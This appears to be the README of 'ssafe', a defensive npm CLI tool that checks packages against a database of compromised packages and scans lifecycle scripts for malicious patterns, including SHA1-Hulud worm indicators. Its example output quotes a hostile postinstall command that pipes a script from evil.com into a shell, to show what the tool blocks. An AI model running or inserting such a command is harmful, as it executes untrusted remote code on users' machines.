ssafe

A CLI tool to detect malicious or compromised npm packages before installation, protecting against supply chain attacks.

Motivation

Recent incidents like the SHA1-Hulud worm have shown how vulnerable the JavaScript ecosystem can be to supply chain attacks. This tool helps developers prevent the installation of npm packages that contain known vulnerabilities, malicious scripts, or suspicious behavior.

Features

• 🔍 Scans packages against a database of known compromised packages
• 🛡️ Detects malicious scripts in package lifecycle events
• ⚠️ Blocks installation of potentially harmful packages
• 📦 Supports all standard npm installation options
• 🚀 Easy to use CLI interface
• 🌳 Complete dependency tree analysis to unlimited depth
• 🔒 Enhanced security through local npm view analysis
• 📊 Detailed logging showing which packages and dependencies are being checked
• 🧹 Automatic uninstallation of compromised packages

Installation

npm install -g ssafe

Usage

# Install a package after security checks
ssafe install <package-name>

# Or using the shorter alias
ssafe i <package-name>

# Install as dev dependency
ssafe i <package-name> --save-dev

# Install specific version
ssafe i <package-name>@<version>

# Dry run (check without installing)
ssafe i <package-name> --dry-run

# Scan installed packages for compromised packages
ssafe scan

# Scan installed packages in a specific directory
ssafe scan --directory /path/to/project

How It Works

1. Compromised Package Check: Cross-references packages against a database of known compromised packages
2. Vulnerability Check: Uses npm audit and vulnerability databases to check for known security issues
3. Script Analysis: Scans package.json scripts for potentially malicious commands
4. Installation Decision: Only allows installation if all checks pass

Enhanced Local Analysis

ssafe provides robust security by:

• Analyzing package metadata without installation
• Checking top-level package scripts for malicious patterns
• Recursively traversing the entire dependency tree to unlimited depth
• Verifying all packages and their dependencies against the compromised database
• Providing detailed security logging for each package checked

Scan Command

The scan command performs a comprehensive analysis of your existing project's dependencies to identify any compromised packages that may already be installed. It:

• Checks all dependencies (including devDependencies and optionalDependencies) against the database of known compromised packages
• Recursively traverses the entire dependency tree of each package to unlimited depth
• Provides detailed logging showing which packages and dependencies are being checked
• Shows the security status of each package analyzed
• Lists all compromised packages with their versions and dependency paths
• Automatically counts and displays the total number of packages checked (including top-level packages)

When compromised packages are found, ssafe will:

• List all compromised packages with their versions and dependency paths
• Prompt you to automatically uninstall them (by typing 'y')
• Provide clear instructions for manual removal if you prefer

This feature helps you maintain the security of existing projects by identifying and removing potentially harmful dependencies.

Security Checks

Compromised Package Detection

The tool maintains an up-to-date database of known compromised packages and blocks their installation.

Malicious Script Detection

The tool looks for dangerous patterns in these script hooks:

• preinstall
• install
• postinstall
• preuninstall
• uninstall
• postuninstall

Dangerous patterns include:

• Network requests to external IPs
• File system manipulation commands
• Access to sensitive directories
• Obfuscated code execution

SHA1-Hulud Specific Protections

ssafe provides specialized protection against the SHA1-Hulud worm by detecting specific indicators of compromise:

• References to the bun.sh domain used during malware initialization
• GitHub repository names matching the pattern [0-9a-z]{18} used for exfiltration
• Suspicious filenames including setup_bun.js and bun_environment.js

These additional checks help protect against this specific supply chain attack vector.

Example Output

Safe Package

🔍 Checking package: lodash
✅ Package passed all security checks
📦 Installing package: lodash
+ [email protected]
added 1 package in 2s
✅ Successfully installed lodash

Blocked Package (Compromised)

🔍 Checking package: [email protected]
🚨 SECURITY ALERT 🚨
⚠️  Package [email protected] is in the list of known compromised packages!
❌ Installation blocked for security reasons.

Blocked Package (Malicious Scripts)

🔍 Checking package: malicious-package
🚨 SECURITY ALERT 🚨
⚠️  Malicious scripts detected in malicious-package:
  - postinstall: curl http://evil.com/malware.sh | sh
❌ Installation blocked for security reasons.

Windows Users

On Windows systems, if you encounter issues with the ssafe command, you can alternatively use:

node ssafe.js install <package-name>

Or:

ssafe.cmd install <package-name>

License

MIT